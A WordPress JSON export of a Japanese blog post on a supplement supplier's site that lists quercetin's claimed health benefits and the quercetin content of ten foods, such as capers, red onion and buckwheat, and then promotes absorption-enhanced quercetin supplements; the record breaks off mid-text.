{"id":3848,"date":"2023-12-05T16:16:37","date_gmt":"2023-12-05T08:16:37","guid":{"rendered":"https:\/\/www.backvita.com\/?p=3848"},"modified":"2024-04-13T00:09:11","modified_gmt":"2024-04-12T16:09:11","slug":"10-quercetin-rich-foods","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/ja\/\u30b1\u30eb\u30bb\u30c1\u30f3\u3092\u8c4a\u5bcc\u306b\u542b\u308010\u306e\u98df\u54c1\/","title":{"rendered":"\u30b1\u30eb\u30bb\u30c1\u30f3\u3092\u8c4a\u5bcc\u306b\u542b\u308010\u306e\u98df\u54c1\uff01"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-0d01701\" data-block-id=\"0d01701\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-3532\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/11\/Quercetin-beyond-your-imagination.webp\" width=\"810\" height=\"455\" alt=\"\u60f3\u50cf\u3092\u8d85\u3048\u308b\u30b1\u30eb\u30bb\u30c1\u30f3\" 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href=\"https:\/\/www.backvita.com\/ja\/\u88fd\u54c1\/sophora-japonica-extract-quercetin\/\">\u30b1\u30eb\u30bb\u30c1\u30f3<\/a>\u4e9c\u925b\u3084\u30d3\u30bf\u30df\u30f3C\u3001\u30d3\u30bf\u30df\u30f3D\u306f\u3001\u514d\u75ab\u306e\u5065\u5eb7\u7dad\u6301\u306b\u5f79\u7acb\u3064\u3053\u3068\u304c\u591a\u3044\u3002\u30b1\u30eb\u30bb\u30c1\u30f3\u306f\u3001\u305d\u306e\u5947\u5999\u306a\u540d\u524d\u3068\u306f\u88cf\u8179\u306b\u3001\u304a\u305d\u3089\u304f\u98df\u4e8b\u3067\u6700\u3082\u904e\u5c0f\u8a55\u4fa1\u3055\u308c\u3066\u3044\u308b\u6804\u990a\u7d20\u3067\u3059\u3002\u30b1\u30eb\u30bb\u30c1\u30f3\u306e\u52b9\u80fd\u306f\u3001\u4f53\u306e\u81ea\u7136\u306a\u9632\u5fa1\u529b\u3092\u9ad8\u3081\u308b\u3060\u3051\u3067\u306f\u3042\u308a\u307e\u305b\u3093\u3002<\/p>\n\n\n\n<p>\u3067\u306f\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u3068\u306f\u4f55\u306a\u306e\u304b\u3002\u30ea\u30f3\u30b4\u4ee5\u5916\u306b\u3069\u3093\u306a\u98df\u54c1\u306b\u542b\u307e\u308c\u3066\u3044\u308b\u306e\u304b\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4f55\u306a\u306e\u304b\uff1f <a href=\"https:\/\/www.backvita.com\/ja\/\u88fd\u54c1\/sophora-japonica-extract-quercetin\/\">\u30b1\u30eb\u30bb\u30c1\u30f3<\/a>?<\/h2>\n\n\n\n<p>\u30b1\u30eb\u30bb\u30c1\u30f3\u306f\u3001\u98df\u7269\u6027\u30d5\u30e9\u30dc\u30ce\u30a4\u30c9\u3068\u547c\u3070\u308c\u308b\u690d\u7269\u6027\u5316\u5408\u7269\u306e\u4e00\u7fa4\u306b\u5c5e\u3057\u3001\u3055\u307e\u3056\u307e\u306a\u690d\u7269\u306e\u8272\u7d20\u306e\u3082\u3068\u3068\u306a\u308b\u30dd\u30ea\u30d5\u30a7\u30ce\u30fc\u30eb\u3067\u3059\u3002\u8679\u3092\u98df\u3079\u3088\u3046\u300d\u3068\u3044\u3046\u30a2\u30c9\u30d0\u30a4\u30b9\u304c\u3088\u304f\u805e\u304b\u308c\u308b\u306e\u306f\u305d\u306e\u305f\u3081\u3060\u3002\u8272\u9bae\u3084\u304b\u306a\u679c\u7269\u3084\u91ce\u83dc\u306f\u3001\u5065\u5eb7\u3092\u4fc3\u9032\u3059\u308b\u30d5\u30e9\u30dc\u30ce\u30a4\u30c9\u304b\u3089\u5927\u80c6\u306a\u8272\u5408\u3044\u3092\u5f97\u3066\u3044\u308b\u3002\u3057\u304b\u3057\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u306f\u4ed6\u306e\u30d5\u30e9\u30dc\u30ce\u30a4\u30c9\u306e\u4e2d\u3067\u3082\u969b\u7acb\u3063\u3066\u304a\u308a\u3001\u591a\u304f\u306e\u30e6\u30cb\u30fc\u30af\u3067\u6709\u76ca\u306a\u751f\u7269\u5b66\u7684\u7279\u6027\u3092\u6301\u3063\u3066\u3044\u307e\u3059\u3002<\/p>\n\n\n\n<p>\u30d3\u30bf\u30df\u30f3C\u3068\u540c\u69d8\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u306f\u6297\u9178\u5316\u7269\u8cea\u3067\u3001\u9178\u5316\u30b9\u30c8\u30ec\u30b9\u306e\u539f\u56e0\u3068\u306a\u308b\u30d5\u30ea\u30fc\u30e9\u30b8\u30ab\u30eb\u3092\u9632\u5fa1\u3059\u308b\u50cd\u304d\u304c\u3042\u308a\u307e\u3059\u3002\u5065\u5eb7\u3092\u7dad\u6301\u3059\u308b\u305f\u3081\u306b\u5fc5\u8981\u306a\u3082\u306e\u304c\u5c11\u306a\u3044\u3068\u3059\u308c\u3070\u3001\u305d\u308c\u306f\u30d5\u30ea\u30fc\u30e9\u30b8\u30ab\u30eb\u3067\u3042\u308b\uff01<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">5\u3064\u306e\u30e1\u30ea\u30c3\u30c8 <a href=\"https:\/\/www.backvita.com\/ja\/\u88fd\u54c1\/sophora-japonica-extract-quercetin\/\">\u30b1\u30eb\u30bb\u30c1\u30f3<\/a><\/h2>\n\n\n\n<p>\u30b1\u30eb\u30bb\u30c1\u30f3\u306f\u5177\u4f53\u7684\u306b\u3069\u306e\u3088\u3046\u306b\u3042\u306a\u305f\u306e\u5065\u5eb7\u306b\u5f79\u7acb\u3064\u306e\u3067\u3057\u3087\u3046\u304b\uff1f\u3053\u3053\u3067\u306f\u3001\u3053\u306e\u30d5\u30e9\u30dc\u30ce\u30a4\u30c9\u304c\u982d\u304b\u3089\u3064\u307e\u5148\u307e\u3067\u3042\u306a\u305f\u3092\u30b5\u30dd\u30fc\u30c8\u3059\u308b5\u3064\u306e\u91cd\u8981\u306a\u65b9\u6cd5\u3092\u7d39\u4ecb\u3057\u3088\u3046\uff1a<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u5065\u5eb7\u306a\u514d\u75ab\u30b7\u30b9\u30c6\u30e0<\/strong><\/h3>\n\n\n\n<p>\u30b1\u30eb\u30bb\u30c1\u30f3\u306f\u6297\u9178\u5316\u7269\u8cea\u3067\u3042\u308a\u3001\u514d\u75ab\u30b5\u30dd\u30fc\u30c8\u30b5\u30d7\u30ea\u30e1\u30f3\u30c8\u306e\u30ea\u30b9\u30c8\u306b\u78ba\u5b9f\u306b\u5165\u308b\u3002\u5927\u898f\u6a21\u306a\u30e9\u30f3\u30c0\u30e0\u5316\u6bd4\u8f03\u8a66\u9a13\u306b\u304a\u3044\u3066\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u309212\u9031\u9593\uff081\u65e51000mg\uff09\u6442\u53d6\u3057\u305f\u3068\u3053\u308d\u3001\u30d7\u30e9\u30bb\u30dc\u3068\u6bd4\u8f03\u3057\u3066\u3001\u4e0a\u6c17\u9053\u306b\u95a2\u9023\u3059\u308b\u514d\u75ab\u969c\u5bb3\u3092\u7d4c\u9a13\u3059\u308b\u65e5\u6570\u304c\u6e1b\u5c11\u3059\u308b\u306a\u3069\u3001\u6709\u76ca\u306a\u52b9\u679c\u304c\u8a8d\u3081\u3089\u308c\u305f\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u5065\u5eb7\u7684\u306a\u708e\u75c7\u53cd\u5fdc\u3092\u4fc3\u9032\u3059\u308b<\/strong><\/h3>\n\n\n\n<p>- \u708e\u75c7\u306f\u4eba\u9593\u306e\u7d4c\u9a13\u306e\u6b63\u5e38\u306a\u4e00\u90e8\u3067\u3042\u308b\u3002\u91cd\u8981\u306a\u306e\u306f\u3001\u8eab\u4f53\u304c\u5065\u5eb7\u7684\u306a\u65b9\u6cd5\u3067\u53cd\u5fdc\u3059\u308b\u304b\u3069\u3046\u304b\u3067\u3042\u308b......\u30b1\u30eb\u30bb\u30c1\u30f3\u306f\u3053\u308c\u3092\u4fc3\u9032\u3059\u308b\u3088\u3046\u3060\u3002\u81e8\u5e8a\u8a66\u9a13\u306e\u30e1\u30bf\u30a2\u30ca\u30ea\u30b7\u30b9\u3067\u306f\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u306e\u30b5\u30d7\u30ea\u30e1\u30f3\u30c8\u306f\u3001\u30b5\u30d6\u30b0\u30eb\u30fc\u30d7\u306b\u304a\u3044\u3066\u3001C\u53cd\u5fdc\u6027\u30bf\u30f3\u30d1\u30af\u8cea\u306a\u3069\u306e\u30b5\u30a4\u30c8\u30ab\u30a4\u30f3\u306e\u3059\u3067\u306b\u5065\u5eb7\u306a\u30ec\u30d9\u30eb\u3092\u7dad\u6301\u3059\u308b\u3053\u3068\u3068\u95a2\u9023\u3057\u3066\u3044\u305f\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u5065\u5eb7\u306a\u7d30\u80de<\/strong><\/h3>\n\n\n\n<p>- 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class=\"wp-block-heading\"><strong>\u3059\u3067\u306b\u5065\u5eb7\u306a\u8840\u5727\u3092\u30b5\u30dd\u30fc\u30c8<\/strong><\/h3>\n\n\n\n<p>\u81e8\u5e8a\u8a66\u9a13\u306e\u30e1\u30bf\u5206\u6790\u306b\u3088\u308b\u3068\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u3092500mg\u4ee5\u4e0a\u6442\u53d6\u3059\u308b\u3068\u3001\u8840\u5727\u3092\u5065\u5eb7\u306a\u7bc4\u56f2\u306b\u7dad\u6301\u3067\u304d\u308b\u3053\u3068\u304c\u308f\u304b\u3063\u305f\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u3059\u3067\u306b\u5065\u5eb7\u7684\u306a\u8840\u7cd6\u5024\u3092\u30b5\u30dd\u30fc\u30c8<\/strong><\/h3>\n\n\n\n<p>\u5225\u306e\u7814\u7a76\u3067\u306f\u3001\u540c\u3058\u91cf\u306e\u30b1\u30eb\u30bb\u30c1\u30f3\u304c\u3001\u3059\u3067\u306b\u5065\u5eb7\u306a\u8840\u7cd6\u5024\u3082\u30b5\u30dd\u30fc\u30c8\u3059\u308b\u3053\u3068\u304c\u308f\u304b\u3063\u305f\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">10 <a href=\"https:\/\/www.backvita.com\/ja\/\u88fd\u54c1\/sophora-japonica-extract-quercetin\/\">\u30b1\u30eb\u30bb\u30c1\u30f3<\/a> \u30ea\u30c3\u30c1\u30d5\u30fc\u30ba<\/h2>\n\n\n\n<p>\u3055\u3066\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u304c\u3069\u308c\u307b\u3069\u306e\u5065\u5eb7\u52b9\u679c\u3092\u3082\u305f\u3089\u3057\u3066\u304f\u308c\u308b\u304b\u306f\u304a\u5206\u304b\u308a\u3044\u305f\u3060\u3051\u305f\u3068\u601d\u3046\u304c\u3001\u554f\u984c\u306f\u3001\u3053\u306e\u30d5\u30e9\u30dc\u30ce\u30a4\u30c9\u3092\u3069\u306e\u3088\u3046\u306b\u6442\u53d6\u3059\u308c\u3070\u3088\u3044\u304b\u3068\u3044\u3046\u3053\u3068\u3060\u3002\u4ee5\u4e0b\u306e\u98df\u54c1\u30ea\u30b9\u30c8\u3092\u30c1\u30a7\u30c3\u30af\u3057\u3066\u3001\u6700\u3082\u904e\u5c0f\u8a55\u4fa1\u3055\u308c\u3066\u3044\u308b\u6804\u990a\u7d20\u306e\u6442\u53d6\u91cf\u3092\u5897\u3084\u3059\u304a\u3044\u3057\u3044\u65b9\u6cd5\u3092\u898b\u3064\u3051\u307e\u3057\u3087\u3046\uff01(\u8fb2\u7523\u7269\u3068\u540c\u69d8\u30011\u98df\u3042\u305f\u308a\u306e\u6804\u990a\u7d20\u542b\u6709\u91cf\u306f\u4f5c\u7269\u306b\u3088\u3063\u3066\u7570\u306a\u308b\u3053\u3068\u306b\u6ce8\u610f)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u30a2\u30c3\u30d7\u30eb<\/strong><\/h3>\n\n\n\n<p>- 100g\uff08\u30ea\u30f3\u30b4\u7d04\u534a\u5206\uff09\u3042\u305f\u308a5mg\u3002\u30ea\u30f3\u30b4\u306f\u304a\u305d\u3089\u304f\u6700\u3082\u4e00\u822c\u7684\u306a\u98df\u54c1\u3067\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u306e\u826f\u3044\u4f9b\u7d66\u6e90\u3067\u3059\u3002(\u305d\u3057\u3066\u3001\u79c1\u305f\u3061\u306e\u30ea\u30b9\u30c8\u306e\u4e2d\u3067\u3001\u304a\u305d\u3089\u304f\u307b\u3068\u3093\u3069\u306e\u4eba\u306e\u98df\u751f\u6d3b\u306b\u3059\u3067\u306b\u3042\u308b\u98df\u54c1\u304c\u3042\u308b\u3068\u3059\u308c\u3070\u3001\u305d\u308c\u306f\u30ea\u30f3\u30b4\u3067\u3059\uff01)<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u30d9\u30ea\u30fc<\/strong><\/h3>\n\n\n\n<p>\u54c1\u7a2e\u306b\u3082\u3088\u308b\u304c\u3001\u30d5\u30e9\u30dc\u30ce\u30a4\u30c9\u304c\u8c4a\u5bcc\u306a\u30af\u30e9\u30f3\u30d9\u30ea\u30fc\u306f100g\u3042\u305f\u308a22mg\u3001\u30d6\u30eb\u30fc\u30d9\u30ea\u30fc\u306f100g\u3042\u305f\u308a7\uff5e14mg\uff08\u307b\u307c\u30ab\u30c3\u30d71\u676f\u5206\uff09\u542b\u307e\u308c\u3066\u3044\u308b\u3002\u30d9\u30ea\u30fc\u985e\u306f\u6297\u9178\u5316\u7269\u8cea\u3067\u3082\u3042\u308b\uff08\u30d5\u30ea\u30fc\u30e9\u30b8\u30ab\u30eb\u306b\u6ce8\u610f\uff01\uff09\u3002\u307e\u305f\u3001\u30a2\u30f3\u30c8\u30b7\u30a2\u30cb\u30f3\u3068\u547c\u3070\u308c\u308b\u30dd\u30ea\u30d5\u30a7\u30ce\u30fc\u30eb\u306e\u5b9d\u5eab\u3067\u3082\u3042\u308a\u3001\u3055\u307e\u3056\u307e\u306a\u5065\u5eb7\u52b9\u679c\u304c\u671f\u5f85\u3067\u304d\u308b\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u9ed2\u30d6\u30c9\u30a6<\/strong><\/h3>\n\n\n\n<p>- 100g\u3042\u305f\u308a3mg\uff08\u4e00\u822c\u7684\u306a\u675f\uff09\u3002\u3053\u308c\u3089\u306e\u679c\u7269\u306f\u3001\u591a\u304f\u306e\u30dd\u30ea\u30d5\u30a7\u30ce\u30fc\u30eb\u3001\u7279\u306b\u30ec\u30b9\u30d9\u30e9\u30c8\u30ed\u30fc\u30eb\u306e\u512a\u308c\u305f\u4f9b\u7d66\u6e90\u3067\u3042\u308a\u3001\u30a2\u30f3\u30c1\u30a8\u30a4\u30b8\u30f3\u30b0\u7d4c\u8def\u3092\u30bf\u30fc\u30b2\u30c3\u30c8\u306b\u3057\u3066\u3044\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\u8d64\u30ef\u30a4\u30f3100ml\u3042\u305f\u308a\u30b1\u30eb\u30bb\u30c1\u30f3\u304c\u7d043mg\u542b\u307e\u308c\u3066\u304a\u308a\u3001\u3053\u308c\u306f\u30b3\u30c3\u30d7\u534a\u5206\u3088\u308a\u3084\u3084\u5c11\u306a\u3044\u91cf\u3067\u3042\u308b\u3002\u305f\u3060\u3057\u3001\u30b7\u30e9\u30fc\u30ba\u306b\u306f\u3082\u3063\u3068\u591a\u304f\u542b\u307e\u308c\u3066\u3044\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\u7dd1\u30d6\u30c9\u30a6\u306e\u767d\u30ef\u30a4\u30f3\u306f\u3001\u8d64\u30ef\u30a4\u30f3\u3088\u308a\u3082\u30dd\u30ea\u30d5\u30a7\u30ce\u30fc\u30eb\uff08\u30b1\u30eb\u30bb\u30c1\u30f3\u3092\u542b\u3080\uff09\u306e\u542b\u6709\u91cf\u304c\u5e73\u5747\u3057\u3066\u5c11\u306a\u3044\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u8d64\u7389\u306d\u304e<\/strong><\/h3>\n\n\n\n<p>- 100g\uff08\u5c0f\u7389\u306d\u304e\u7d041\u500b\uff09\u3042\u305f\u308a39mg\u3002\u3059\u3079\u3066\u306e\u30bf\u30de\u30cd\u30ae\u306b\u30b1\u30eb\u30bb\u30c1\u30f3\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u304c\u3001\u8d64\u30bf\u30de\u30cd\u30ae\u306b\u306f\u8272\u7d20\u304c\u3042\u308b\u305f\u3081\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u3092\u542b\u3080\u30d5\u30e9\u30dc\u30ce\u30a4\u30c9\u304c\u6700\u3082\u591a\u304f\u542b\u307e\u308c\u3066\u3044\u308b\u3002\u8abf\u7406\u6cd5\u306b\u3088\u3063\u3066\u30b1\u30eb\u30bb\u30c1\u30f3\u306e\u542b\u6709\u91cf\u306f\u6e1b\u5c11\u3059\u308b\u3002\u3057\u305f\u304c\u3063\u3066\u3001\u3053\u308c\u3089\u306e\u30b9\u30d1\u30a4\u30b7\u30fc\u306a\u91ce\u83dc\u304b\u3089\u30d5\u30e9\u30dc\u30ce\u30a4\u30c9\u3092\u6700\u5927\u9650\u306b\u6442\u53d6\u3059\u308b\u306b\u306f\u3001\u8339\u3067\u305f\u308a\u7092\u3081\u305f\u308a\u3057\u306a\u3044\u3053\u3068\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u30d6\u30ed\u30c3\u30b3\u30ea\u30fc\uff08\u751f\uff09<\/strong><\/h3>\n\n\n\n<p>- 100g\uff08\u5c0f\u9262\uff09\u3042\u305f\u308a3mg\u3002\u30d6\u30ed\u30c3\u30b3\u30ea\u30fc\u3092\u306f\u3058\u3081\u3068\u3059\u308b\u30a2\u30d6\u30e9\u30ca\u79d1\u306e\u91ce\u83dc\u306f\u3001\u30b9\u30eb\u30d5\u30a9\u30e9\u30d5\u30a1\u30f3\u3084\u30a4\u30f3\u30c9\u30fc\u30eb-3-\u30e1\u30bf\u30ce\u30fc\u30eb\u306e\u3088\u3046\u306a\u7d30\u80de\u306e\u5065\u5eb7\u3092\u4fc3\u9032\u3059\u308b\u5316\u5408\u7269\u3092\u542b\u3080\u3060\u3051\u3067\u306a\u304f\u3001\u30d3\u30bf\u30df\u30f3\u3084\u30df\u30cd\u30e9\u30eb\u306e\u8c4a\u5bcc\u306a\u4f9b\u7d66\u6e90\u3067\u3059\u3002\u3055\u3089\u306b\u3001\u6297\u9178\u5316\u7269\u8cea\u3082\u8c4a\u5bcc\u306b\u542b\u307e\u308c\u3066\u3044\u308b\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u30b1\u30fc\u30eb<\/strong><\/h3>\n\n\n\n<p>- 100\u30b0\u30e9\u30e0\uff08\u7d041\u30ab\u30c3\u30d7\uff09\u3042\u305f\u308a8mg\u3002\u30d6\u30ed\u30c3\u30b3\u30ea\u30fc\u3068\u540c\u69d8\u3001\u30b1\u30fc\u30eb\u3082\u7d30\u80de\u306e\u5065\u5eb7\u306b\u5f79\u7acb\u3064\u8449\u7269\u91ce\u83dc\u3067\u3042\u308b\u3002\u3055\u3089\u306b\u30b1\u30fc\u30eb\u306f\u3001\u7db2\u819c\u306b\u96c6\u4e2d\u3057\u3066\u5065\u5eb7\u306a\u8996\u529b\u3092\u30b5\u30dd\u30fc\u30c8\u3059\u308b\u30ab\u30ed\u30c6\u30ce\u30a4\u30c9\u3001\u30eb\u30c6\u30a4\u30f3\u3068\u30bc\u30a2\u30ad\u30b5\u30f3\u30c1\u30f3\u306e\u512a\u308c\u305f\u4f9b\u7d66\u6e90\u3067\u3082\u3042\u308b\u3002<\/p>\n\n\n\n<p>\u30b1\u30eb\u30bb\u30c1\u30f3\u3092\u542b\u3080\u305d\u306e\u4ed6\u306e\u98df\u54c1<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u30b1\u30fc\u30d1\u30fc\u30ba<\/strong><\/h3>\n\n\n\n<p>- 100g\u3042\u305f\u308a365mg\uff08\u901a\u5e382\uff5e3\u4eba\u524d\uff09\u306e\u30b1\u30fc\u30d1\u30fc\u306f\u30011g\u3042\u305f\u308a\u30b1\u30eb\u30bb\u30c1\u30f3\u3092\u6700\u3082\u8c4a\u5bcc\u306b\u542b\u3080\u98df\u54c1\u3067\u3042\u308b\uff01\u30b1\u30fc\u30d1\u30fc\u3068\u306f\u3001\u82b1\u304c\u54b2\u304f\u524d\u306e\u30b1\u30c3\u30d1\u30fc\u306e\u3064\u307c\u307f\u306e\u3053\u3068\u3002\u8abf\u5473\u6599\u3068\u3057\u3066\u3088\u304f\u4f7f\u308f\u308c\u3001\u30b5\u30e9\u30c0\u3084\u30b5\u30fc\u30e2\u30f3\u306b\u5165\u308c\u308b\u306e\u304c\u4e00\u822c\u7684\u3060\u3002\u30b1\u30fc\u30d1\u30fc\u306f\u73fe\u5728\u3001\u30a2\u30e1\u30ea\u30ab\u3067\u306f\u4eba\u6c17\u306e\u3042\u308b\u98df\u54c1\u3067\u306f\u306a\u3044\u304c\u3001\u30b9\u30fc\u30d1\u30fc\u30d5\u30fc\u30c9\u3068\u3057\u3066\u6ce8\u76ee\u3055\u308c\u3066\u3044\u308b\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u30c7\u30a3\u30eb<\/strong><\/h3>\n\n\n\n<p>- 100g\u3042\u305f\u308a55mg\uff08\u901a\u5e382\uff5e3\u4eba\u5206\uff09 \u30d1\u30bb\u30ea\u3084\u30bb\u30ed\u30ea\u3068\u540c\u3058\u4ef2\u9593\u306e\u30cf\u30fc\u30d6\u3060\u304c\u3001\u7fbd\u6bdb\u306e\u3088\u3046\u306a\u98df\u611f\u304c\u7279\u5fb4\u3002\u5473\u3060\u3051\u3067\u306a\u304f\u3001\u5fc3\u5730\u3088\u3044\u9999\u308a\u3092\u51fa\u3059\u305f\u3081\u306b\u3082\u98fe\u308a\u3068\u3057\u3066\u4f7f\u3046\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u30bd\u30d0<\/strong><\/h3>\n\n\n\n<p>- 100g\uff08\u30ab\u30c3\u30d71\u676f\u5206\uff09\u3042\u305f\u308a\u6700\u592736mg\u3002\u30bd\u30d0\u306f\u30b1\u30eb\u30bb\u30c1\u30f3\u306e\u6442\u53d6\u91cf\u3092\u5897\u3084\u3059\u306e\u306b\u6700\u9069\u306a\u3060\u3051\u3067\u306a\u304f\u3001\u30b0\u30eb\u30c6\u30f3\u98df\u54c1\u3092\u98df\u3079\u306a\u3044\u4eba\u306b\u306f\u5c0f\u9ea6\u306e\u4ee3\u66ff\u54c1\u3068\u3057\u3066\u3082\u6700\u9069\u3067\u3059\u3002(\"\u5c0f\u9ea6 \"\u3068\u3044\u3046\u8a00\u8449\u304c\u5165\u3063\u3066\u3044\u308b\u304b\u3082\u3057\u308c\u307e\u305b\u3093\u304c\u3001\u9a19\u3055\u308c\u306a\u3044\u3067\u304f\u3060\u3055\u3044\uff01\uff09\u305d\u3070\u7c89\u306f\u3001\u30d5\u30fc\u30c9\u30dc\u30a6\u30eb\u3092\u6df7\u305c\u308b\u30d9\u30fc\u30b9\u3068\u3057\u3066\u3082\u52b9\u679c\u7684\u3067\u3059\u3002\u5869\u8f9b\u3044\u3082\u306e\u304c\u98df\u3079\u305f\u304f\u306a\u3063\u305f\u3089\u3001\u4ed6\u306e\u690d\u7269\u6027\u98df\u54c1\u3092\u7092\u3081\u3066\u307f\u305f\u308a\u3001\u30d9\u30ea\u30fc\u985e\u3084\u305d\u306e\u4ed6\u306e\u65b0\u9bae\u306a\u679c\u7269\u306a\u3069\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u3092\u8c4a\u5bcc\u306b\u542b\u3080\u7518\u3044\u98df\u54c1\u3092\u52a0\u3048\u308b\u3068\u3001\u76ee\u899a\u3081\u306b\u3075\u3055\u308f\u3057\u3044\u671d\u98df\u7ca5\u306b\u306a\u308b\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u7dd1\u8336<\/strong><\/h3>\n\n\n\n<p>- 100ml\uff08\u30b3\u30c3\u30d7\u534a\u5206\u4ee5\u4e0b\uff09\u3042\u305f\u308a2.63mg\u3002\u307e\u305f\u3001\u7dd1\u8336\u306b\u306fEGCG\u3068\u547c\u3070\u308c\u308b\u30dd\u30ea\u30d5\u30a7\u30ce\u30fc\u30eb\u304c\u5927\u91cf\u306b\u542b\u307e\u308c\u3066\u304a\u308a\u3001\u30b3\u30ec\u30b9\u30c6\u30ed\u30fc\u30eb\u5024\u3084\u30b0\u30eb\u30b3\u30fc\u30b9\u5024\u3092\u6b63\u5e38\u7bc4\u56f2\u306b\u4fdd\u3061\u3001\u8133\u3084\u795e\u7d4c\u306e\u5065\u5eb7\u3092\u30b5\u30dd\u30fc\u30c8\u3057\u3001\u7d30\u80de\u306e\u5065\u5eb7\u3092\u5e45\u5e83\u304f\u30b5\u30dd\u30fc\u30c8\u3057\u307e\u3059\u3002\u7dd1\u8336\u306b\u306f\u512a\u308c\u305f\u6297\u9178\u5316\u4f5c\u7528\u3082\u3042\u308a\u307e\u3059\uff01<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u98df\u4e8b\u3067\u30b1\u30eb\u30bb\u30c1\u30f3\u3092\u5341\u5206\u306b\u6442\u53d6\u3067\u304d\u307e\u3059\u304b\uff1f<\/h2>\n\n\n\n<p>\u30a2\u30e1\u30ea\u30ab\u4eba\u306e\u98df\u751f\u6d3b\u3067\u306f\u3001\u5e73\u5747\u3057\u30661\u65e5\u3042\u305f\u308a\u7d046\uff5e18mg\u306e\u30b1\u30eb\u30bb\u30c1\u30f3\u3057\u304b\u6442\u53d6\u3067\u304d\u306a\u3044\u3002\u30b1\u30eb\u30bb\u30c1\u30f3\u3092\u8c4a\u5bcc\u306b\u542b\u3080\u98df\u54c1\u3092\u591a\u304f\u6442\u308b\u3053\u3068\u3067\u3001\u5e73\u5747\u6442\u53d6\u91cf\u3092\u4e0a\u56de\u308a\u3001\u6297\u9178\u5316\u7269\u8cea\u306e\u542b\u6709\u91cf\u306b\u3088\u3063\u3066\u3055\u3089\u306a\u308b\u5065\u5eb7\u52b9\u679c\u304c\u671f\u5f85\u3067\u304d\u308b\u304c\u3001\u6700\u5927\u9650\u306e\u52b9\u679c\u3092\u5f97\u308b\u306b\u306f\u3001\u81e8\u5e8a\u7684\u306b\u7814\u7a76\u3055\u308c\u305f\u6442\u53d6\u91cf\u3068\u6442\u53d6\u91cf\u3092\u63d0\u4f9b\u3059\u308b\u512a\u308c\u305f\u30b1\u30eb\u30bb\u30c1\u30f3\u30fb\u30b5\u30d7\u30ea\u30e1\u30f3\u30c8\u304c\u6709\u52b9\u3067\u3042\u308b\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u8cea\u306e\u9ad8\u3044\u30b1\u30eb\u30bb\u30c1\u30f3\u30b5\u30d7\u30ea\u30e1\u30f3\u30c8\u306e\u9078\u3073\u65b9\u306f\uff1f<\/h2>\n\n\n\n<p>\u30b1\u30eb\u30bb\u30c1\u30f3\u81ea\u4f53\u306f\u751f\u7269\u5b66\u7684\u5229\u7528\u80fd\u304c\u9ad8\u304f\u306a\u3044\u3001\u3064\u307e\u308a\u5438\u53ce\u3055\u308c\u306b\u304f\u3044\u3002\u3057\u304b\u3057\u3001\u7814\u7a76\u8005\u3089\u306f\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u3092\u30ea\u30f3\u8102\u8cea\u8907\u5408\u4f53\u3068\u547c\u3070\u308c\u308b\u690d\u7269\u7531\u6765\u306e\u30ea\u30f3\u8102\u8cea\u8907\u5408\u4f53\u306b\u30ab\u30d7\u30bb\u30eb\u5316\u3059\u308b\u3068\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u306e\u751f\u7269\u5b66\u7684\u5229\u7528\u80fd\u304c\u8457\u3057\u304f\u5411\u4e0a\u3059\u308b\u3053\u3068\u3092\u767a\u898b\u3057\u305f\u3002\u3053\u306e\u3053\u3068\u306f\u3001\u4f4e\u7528\u91cf\u3067\u3088\u308a\u5927\u304d\u306a\u30b1\u30eb\u30bb\u30c1\u30f3\u306e\u52b9\u679c\u304c\u5f97\u3089\u308c\u308b\u3053\u3068\u3092\u610f\u5473\u3059\u308b\u3002<\/p>\n\n\n\n<p>\u30e9\u30a4\u30d5\u30fb\u30a8\u30af\u30b9\u30c6\u30f3\u30b7\u30e7\u30f3\u306f\u3001\u30b1\u30eb\u30bb\u30c1\u30f3\u4e8c\u6c34\u548c\u7269\u3068\u4e00\u7dd2\u306b\u6442\u53d6\u3059\u308b\u3053\u3068\u3067\u3001\u3053\u308c\u3089\u306e\u6804\u990a\u7d20\u306e\u751f\u7269\u5b66\u7684\u6d3b\u6027\u3092\u6700\u5927\u9650\u306b\u9ad8\u3081\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3001\u8d85\u5438\u53ce\u6027\u3092\u5099\u3048\u305f\u3053\u306e\u65b0\u3057\u3044\u690d\u7269\u8907\u5408\u4f53\u5305\u307f\u306e\u30b1\u30eb\u30bb\u